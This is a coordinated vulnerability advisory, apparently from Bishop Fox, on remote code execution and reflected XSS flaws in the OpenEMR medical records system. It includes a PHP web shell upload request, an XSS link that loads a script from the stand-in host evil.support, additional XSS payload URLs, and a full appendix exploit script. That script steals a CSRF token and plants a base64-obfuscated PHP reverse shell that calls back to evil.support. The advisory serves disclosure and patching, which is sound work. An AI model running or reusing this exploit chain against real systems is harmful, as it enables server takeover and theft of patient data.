ADVISORY SUMMARY
OpenEMR is a widely used open source medical records management tool. The latest version at the time of this research was 5.0.1(6), older versions are believed but unconfirmed to be affected.
Impact
The OpenEMR application is used globally to manage millions of patient records. Successful exploitation of the identified vulnerabilities would lead to server compromise and would allow an administrative attacker to execute code on the underlying server. In both situations, sensitive patient information would be at risk.
High & Medium Risk Levels
Affected Vendor
Product Vendor |
Product Name |
Affected Version |
OpenEMR | OpenEMR EHR | 5.0.1(6) |
Vulnerabilities List:
- ARBITRARY REMOTE CODE EXECUTION
- CROSS-SITE SCRIPTING
Solution
Update to the latest version - version 5.0.2.
Credits
Chris Davis, Security Analyst, Bishop Fox - [email protected]
Timeline
- 02/17/2019: Initial discovery
- 02/21/2019: Contact with vendor
- 09/10/2019: Coordinated publication
VULNERABILITIES
Arbitrary Remote Code Execution
The OpenEMR application is affected by one instance of remote code execution (RCE) that would allow attackers to execute arbitrary code. The vulnerability could be exploited by administrative users, leading to complete server compromise.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2019-8371 | High | Code Execution | Remote |
Further Details
- Vulnerability: CWE-94
- CVSS Base Score: 9.1
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Administrative users could modify files within the OpenEMR application web root by using the Administration File Management functionality, which allowed PHP code to be added to the files to create custom letter templates. To gain command execution on the web server a PHP web shell was uploaded, as shown below:
POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------466827610997816061597388451
Content-Disposition: form-data; name="form_filename"
letter_templates/custom_pdf.php
-----------------------------466827610997816061597388451
Content-Disposition: form-data; name="form_filedata"
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
…omitted for brevity… Figure 1 - PHP Web shell upload
Figure 1 - PHP Web shell upload
Uploading a PHP web shell found at https://github.com/artyuum/Simple-PHP-Web-Shell
and navigating to the affected /openemr/sites/default/letter_templates/custom_pdf.php
endpoint allowed system commands to be executed on the underlying server, as shown below:
Figure 2 - PHP web shell
The commands executed on the application server from the context of the www-data user.
Cross-Site Scripting
The OpenEMR application is affected by several instances of reflected cross-site scripting (XSS) that would allow attackers to execute arbitrary JavaScript. The vulnerability could be exploited to affect administrative users, leading to complete server compromise. The walkthrough below uses one payload to execute arbitrary code on the server. The exploit code is included in the appendix at the end of this advisory.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2019-8368 | Medium | Code execution | Remote |
Further Details
- Vulnerability: CWE-79
- CVSS Base Score: 6.1
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Instances of reflected cross-site scripting that led to remote code execution (RCE) were found within the OpenEMR application. Enticing an administrative user to click a malicious link would trigger the XSS. This was demonstrated at the facility_admin.php
endpoint by sending the following GET
request:
GET
/openemr/interface/usergroup/facility_admin.php?fid=xss%22%3E%3Cscript%20src=%22http://
evil.support:8000/expoit.js%22%3E%3C/script%3E HTTP/1.1/
Figure 3 - JavaScript payload sent to the server
The initial JavaScript payload executed within the OpenEMR application origin, loading and executing exploit.js
, a JavaScript file that uploaded a PHP reverse shell and executed it, as shown below:
Figure 4 - Reverse shell connection
An unauthenticated attacker could exploit this vulnerability to entice an administrative user to click the maliciously crafted link, which would grant server access to the attacker.
Additional Locations:
http://localhost/openemr/interface/super/rules/library/RulesPlanMappingEventHandlers_ajax.php?action=getPlanStatus&plan_id=%3cimg%20src%3da%20onerror%3dalert(1)%3e
http://localhost/openemr/interface/main/onotes/office_comments_full.php? active=%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20xss&offset=10
http://localhost/openemr/library/dicom_frame.php?web_path=x'%3e%3cscript%3ealert(1</span><span style="font-size:16px;">)%3c%2fscript%3e
Appendix A - Exploit Code
XSS Exploit Code to Gain Remote Code Execution (RCE)
An attacker could use the following payload to obtain a reverse shell:
// XSS to RCE payload // Function to retrieve CSRF Token getCsrfToken = async () => { const xhr = new XMLHttpRequest(); xhr.responseType = "document"; xhr.open("GET", "/openemr/interface/super/manage_site_files.php", true); xhr.onreadystatechange = async (e) => { if (xhr.readyState === 4 && xhr.status === 200){ doc = xhr.response; const csrfToken = doc.getElementsByName("csrf_token_form")[0].value uploadShell(csrfToken); console.log(csrfToken); } }; xhr.send(); } // Function to upload php reverse shell code uploadShell = async (csrfToken) =>{ var formdata = new FormData(); formdata.append("form_filename", "letter_templates/custom_pdf.php"); /*generated with msfvenom -p php/reverse_php lhost=evil.support lport=1337 Base64 encoded to avoid issues with special charectors */ const shell ="<?php eval(base64_decode('ICAvKjw/cGhwIC8qKi8KICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQoMSk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwogICAgICAkZGlzPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICBpZighZW1wdHkoJGRpcykpewogICAgICAgICRkaXM9cHJlZ19yZXBsYWNlKCcvWywgXSsvJywgJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWV4cGxvZGUoJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWFycmF5X21hcCgndHJpbScsICRkaXMpOwogICAgICB9ZWxzZXsKICAgICAgICAkZGlzPWFycmF5KCk7CiAgICAgIH0KCiAgICAkaXBhZGRyPSdldmlsLnN1cHBvcnQnOwogICAgJHBvcnQ9MTMzNzsKCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdRaHdnQVlDS0MnKSl7CiAgICAgIGZ1bmN0aW9uIFFod2dBWUNLQygkYyl7CiAgICAgICAgZ2xvYmFsICRkaXM7CgogICAgICBpZiAoRkFMU0UgIT09IHN0cnBvcyhzdHJ0b2xvd2VyKFBIUF9PUyksICd3aW4nICkpIHsKICAgICAgICAkYz0kYy4iIDI+JjFcbiI7CiAgICAgIH0KICAgICAgJEVDZkJxUj0naXNfY2FsbGFibGUnOwogICAgICAkYXBJZGFTWD0naW5fYXJyYXknOwoKICAgICAgaWYoJEVDZkJxUigncGFzc3RocnUnKWFuZCEkYXBJZGFTWCgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUigncHJvY19vcGVuJylhbmQhJGFwSWRhU1goJ3Byb2Nfb3BlbicsJGRpcykpewogICAgICAgICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7CiAgICAgICAgICAkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcHJvY19jbG9zZSgkaGFuZGxlKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUignZXhlYycpYW5kISRhcElkYVNYKCdleGVjJywkZGlzKSl7CiAgICAgICAgJG89YXJyYXkoKTsKICAgICAgICBleGVjKCRjLCRvKTsKICAgICAgICAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCRFQ2ZCcVIoJ3NoZWxsX2V4ZWMnKWFuZCEkYXBJZGFTWCgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdzeXN0ZW0nKWFuZCEkYXBJZGFTWCgnc3lzdGVtJywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzeXN0ZW0oJGMpOwogICAgICAgICRvPW9iX2dldF9jb250ZW50cygpOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdwb3BlbicpYW5kISRhcElkYVNYKCdwb3BlbicsJGRpcykpewogICAgICAgICRmcD1wb3BlbigkYywncicpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKXsKICAgICAgICAgICAgJG8uPWZyZWFkKCRmcCwxMDI0KTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZnApOwogICAgICB9ZWxzZQogICAgICB7CiAgICAgICAgJG89MDsKICAgICAgfQoKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly9ldmlsLnN1cHBvcnQiLCRwb3J0KTsKICAgICAgd2hpbGUoJGM9ZnJlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgQHNvY2tldF93cml0ZSgkcywkbm9mdW5jcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRvdXQpKTsKICAgICAgfQogICAgICBAc29ja2V0X2Nsb3NlKCRzKTsKICAgIH0K\'))?>" // Appends shell code and needed data to the upload form var blob = new Blob([], {type: "application/octet-stream"}); formdata.append("form_filedata", shell); formdata.append("MAX_FILE_SIZE", "12000000"); formdata.append("form_image", blob, "") formdata.append("form_dest_filename", "") formdata.append("form_education", blob, "") // Appends CSRF token to the form formdata.append("csrf_token_form", csrfToken); formdata.append("bn_save", "Save"); // Sends the Form upload const xhr = new XMLHttpRequest(); xhr.open("POST", "/openemr/interface/super/manage_site_files.php", true); xhr.onreadystatechange = async (e) => { if (xhr.readyState === 4 && xhr.status === 200){ revShellGo(); } }; xhr.send(formdata); } // Calls the endpoint where the shell code is stored to execute revShellGo = async () => { const xhr = new XMLHttpRequest(); xhr.open("GET", "/openemr/sites/default/letter_templates/custom_pdf.php", true); xhr.send(); } getCsrfToken();
FIGURE 5 - Contents of exploit.js
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.